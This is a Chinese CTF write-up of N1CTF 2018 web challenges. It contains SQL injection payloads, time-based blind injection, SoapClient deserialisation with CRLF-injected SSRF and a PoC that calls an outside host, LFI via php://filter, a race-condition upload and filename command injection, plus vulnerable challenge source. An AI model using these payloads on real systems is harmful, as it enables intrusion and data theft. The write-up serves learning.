N1CTF Web Write Up

before start

周末打了N1CTF,果不其然是被虐了,做了两道半web。思路还是不够开阔,有些之前见过的姿势也没利用上,几个题没做出来也比较可惜,整理了一下web的wp。

ps. sql注入可能是我的一生之敌了。

77777

mark

本来以为是格式化字符串漏洞导致的盲注,结果发现是update注入。这个地方盲注、显式注入都可以。

盲注payload:

flag=0&hi=1 && password<"A"

符合条件的话分数会被更新为1,否则为0。接下来就是跑脚本了,感觉很容易受到干扰(好像flag也变过),可能是做的人比较多,跑了几次之后得到了正确的flag。

显式payload:

flag=0&hi=%2b(select hex(mid((select a.password from (select password from users) a),1,1)))

首先将字符拆分,然后转化为16进制(便于输出),然后再转换就行了。

easy php

习惯性扫目录,得到index.php~,顺手在别的文件也加了~,结果都有。加上目录遍历,得到了全部源码。

看了看代码思路很清晰,绕过admin检测,然后上传。

上传

function upload($file){
    $file_size  = $file['size'];
    if($file_size>2*1024*1024) {
        echo "pic is too big!";
        return false;
    }
    $file_type = $file['type'];
    if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
        echo "file type invalid";
        return false;
    }
    if(is_uploaded_file($file['tmp_name'])) {
        $uploaded_file = $file['tmp_name'];
        $user_path =  "/app/adminpic";
        if (!file_exists($user_path)) {
            mkdir($user_path);
        }
        $file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
        $file_true_name = str_replace('/','',$file_true_name);
        $file_true_name = str_replace('\\','',$file_true_name);
        $file_true_name = $file_true_name.time().rand(1,100).'.jpg';
        $move_to_file = $user_path."/".$file_true_name;
        if(move_uploaded_file($uploaded_file,$move_to_file)) {
            if(stripos(file_get_contents($move_to_file),'<?php')>=0)
                system('sh /home/nu1lctf/clean_danger.sh');
            return $file_true_name;
        }
        else
            return false;
    }
    else
        return false;
}

可以看到无论上上传什么都会调用clean_danger.sh

通过文件包含可以看到clean_danger.sh的内容为

http://47.97.221.96/index.php?action=../../../../home/nu1lctf/clean_danger.sh
cd /app/adminpic/
rm *.jpg

这里可以用条件竞争来getshell,只不过上传之后的文件名需要爆破,所以竞争起来成功率不高,线程开多点问题还是不大的。

ps. 看wp可以用linux的一个特性绕过删除

Using a feature of commands of linux

When we create a file like -xaaaaaaa.jpg We could not delete it by rm or rm .jpg except rm -r adminpic/

mark

insert盲注

看一下config.php中insert函数的实现

public function insert($columns,$table,$values){
        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        $result = $this->conn->query($sql);

        return $result;
}

没有进行任何过滤,但是有一个全局过滤的函数。

config.php

function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
        return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
    }
}

function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}
addsla_all();

搜一下insert,发现存在可控变量的就这一处

user.php

function publish()
{
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        /*管理员上传部分省略,看着心酸。。。*/
}

很明显signature是可控的,我们完全可以构造一个不用单引号的盲注payload

signature=1`,if((ascii(substr((select password from ctf_users where is_admin=1),1,1))=113),sleep(5),1))#&mood=1

抛出管理员密码,解密为nu1ladmin,但是管理员只允许本地登录。。。

ssrf

放出提示要找一个ssrf,在这里被卡的废废的。卡在门口是真的难受。。。

index.php-showmess()中有一处使用了unserialize

mark

推测是用反序列化+ssrf。

使用的是SoapClient这个php自带类(表示第一次听说,知识面还是太窄)

测试代码如下:

$a = new SoapClient(null, array(
            'location'=> "http://seaii-blog.com:8000", 
            'uri'=> "123"
)); 
$res = serialize($a);
echo $res;
$a = unserialize($res);
$a->getsubtime();

当反序列化出来的对象调用不存在的函数是,就会调用__call方法,向外发送请求

mark

可以看到本身就是发送的post请求,但是没办法携带数据。我们需要做的是修改Content-type并且附上要传送的数据。

恰好User-Agent存在crlf可以将下面的部分截断,具体分析过程可以移步官方wp:http://wupco.cn/hctf/ezphp.pdf

代码来自官方wp

$post_string = 'a=b&flag=aaa'; 
$headers = array(
  'X-Forwarded-For: 127.0.0.1',    
  'Cookie: xxxx=1234'    
); 
$a = new SoapClient(null,array(
  'location' => 'http://seaii-blog.com:8000',
  'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));
$aaa = serialize($a); 
$aaa = str_replace('^^',"\r\n",$aaa); 
$aaa = str_replace('&','&',$aaa);
$a = unserialize($aaa);
$a->getsubtime();

mark

可以看到请求已经被“改造”为正常的post请求了。

2018.03.13 今天看wonderkun师傅的wp又学了一手,在这里补充上。soap在user_agent和uri处都有crlf,但是要修改Content-Type,才能将数据post出去。uri同样可以达到目的,关键点就在于Connection: Keep-Alive

可以发现当第一个请求的ConnectionKeep-Alive的时候,接着的那个请求也会被响应。也就是说在一次HTTP连接中可以同时又多个HTTP请求头和请求体,但是当前请求被响应的前提是,前一个请求有Connection: Keep-Alive 。 (测试的时候需要注意Content-Length字段,需把burp中的repeater->update content-length选项关掉)

这里就也给了我们一个很重要的启示,如果我们遇到一个GET型的CRLF注入,但是我们需要的却是一个POST类型的请求,就可以用这种方式,在第一个请求中注入一个Connection: Keep-Alive,然后接着往下注入第二个请求,就可以实现我们的目的。

测试代码来自wp

$uri = "http://www.baidu.com/?test=blue\r\nContent-Length: 0\r\n\r\n\r\nPOST /index.php?action=login HTTP/1.1\r\nHost: 127.0.0.1\r\nCookie: PHPSESSID=52m5ugohiki56gds9c6t71rj92\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 45\r\nConnection: Close\r\n\r\nusername=admin&password=nu1ladmin&code=435137\r\n\r\n\r\n";
$location = "http://seaii-blog.com:8000/index.php";
$event = new SoapClient(null,array('location'=>$location,'uri'=>$uri));
$e = serialize($event);
unserialize($e)->getsubtime();

mark

可以看到收到了两次请求,学无止境呀。

接下来就是伪造请求去登录admin账户了,记得要带着cookie(PHPSESSID)去访问,这样验证码就是当前页面的,并且登录成功之后会将这个session的is_admin设置为1。就可以以管理员的身份进行操作了。

getshell之后flag并没有在主机中,而是在数据库里,需要root账户。mysql的root密码可以通过LFI /run.sh获得。

非预期

这个题目还有几个非预期解,附上链接。

http://skysec.top/2018/03/12/N1CTF-2018-Web

http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/

77777 2

这个题跟上面的题目差不多,做了更严格的过滤。本来上面的payload就能跑的,题目又修改了一下,过滤又严格了。可能出题师傅低估了师傅们的payload吧:P。

测试了一下,只要payload里面的数字或者显示的分数不是1开头的,就被ban,那就一个一个加呗。。

payload

flag=0&hi=%2b(select conv(hex(substr((select a.pw from (select c.pw from users c) a),1+1+1,1)),16,10))

将截取来的16进制再转为10进制,都是100多,符合条件。

funning eating cms

牛逼的师傅都在拿flag,而菜的人只能给管理员发邮件聊天,233333

mark

这题一开始就跑偏了。。以为是xss,怼了半天。后来发现是LFI,时间也不多了。。。

首先利用LFI获取user.php的源码

http://47.52.152.93:20000/user.php?page=php://filter/convert.base64-encode/resource=user
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");
}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
            Header("Location: user.php?page=guest");
        }
    }
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

通过代码可以得到两个信息

  1. function.php
  2. 只有admin才能看info.php

先获取源码看看吧

info.php

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly ");
}
include "templates/info.html";
?>

直接访问http://47.52.152.93:20000/templates/info.html可以得到一个hint

mark

接下来是function.php

<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}

function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}
/*略*/
?>

主要逻辑全在这个文件中,这里只上了关键代码。

我们得到的hint已经被禁了,我们要想办法绕过parse_urlparse_str的解析。

绕过方法很简单,只要加足够多的/就好了。看测试代码:

<?php 
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    var_dump($uri);
    parse_str($uri['query'], $query);
    var_dump($query);
 ?>

mark

利用这种方法继续读ffffllllaaaaggg.php的代码

http://47.52.152.93:20000///user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}
?>

好吧,继续。。。

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}
include "templates/upload2323233333.html";

?>

访问``又得到一个hint

mark

没懂什么意思,往下看处理上传的文件upllloadddd.php,接着读吧

upllloadddd.php

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
/*敲黑板划重点*/
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

重点是这两行

$filename = $_FILES['file']['name'];
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

上传文件名没有作任何处理,直接拼接到system中,肉眼可见的命令注入

mark

不知道为什么这里构造ls -a /不生效,那就ls -a ..

mark

一通操作终于是拿到flag了。。。

mark

不能用/是真的难受。。。

ps.其实这题xdebug没关,可以直接拿到flag,但是比赛已经结束了。。。

mark

harder php?

正解和easy php是一样的,可能处理一些非预期的情况。

babysqli

坐等wp,未完待续。。。
官方wp出了,但是只给了一个解题脚本。。。
https://github.com/Nu1LCTF/n1ctf-2018/blob/master/writeups/web/babysqli.md
根据代码来看大体思路是这样的:首先注入点在userinfo(这点倒是想到了),然后根据登陆成功之后用户头像来构造一个bool盲注(有提示),看起来过滤也不是太严格,当时看的再仔细点就好了。

标签: n1ctf, wp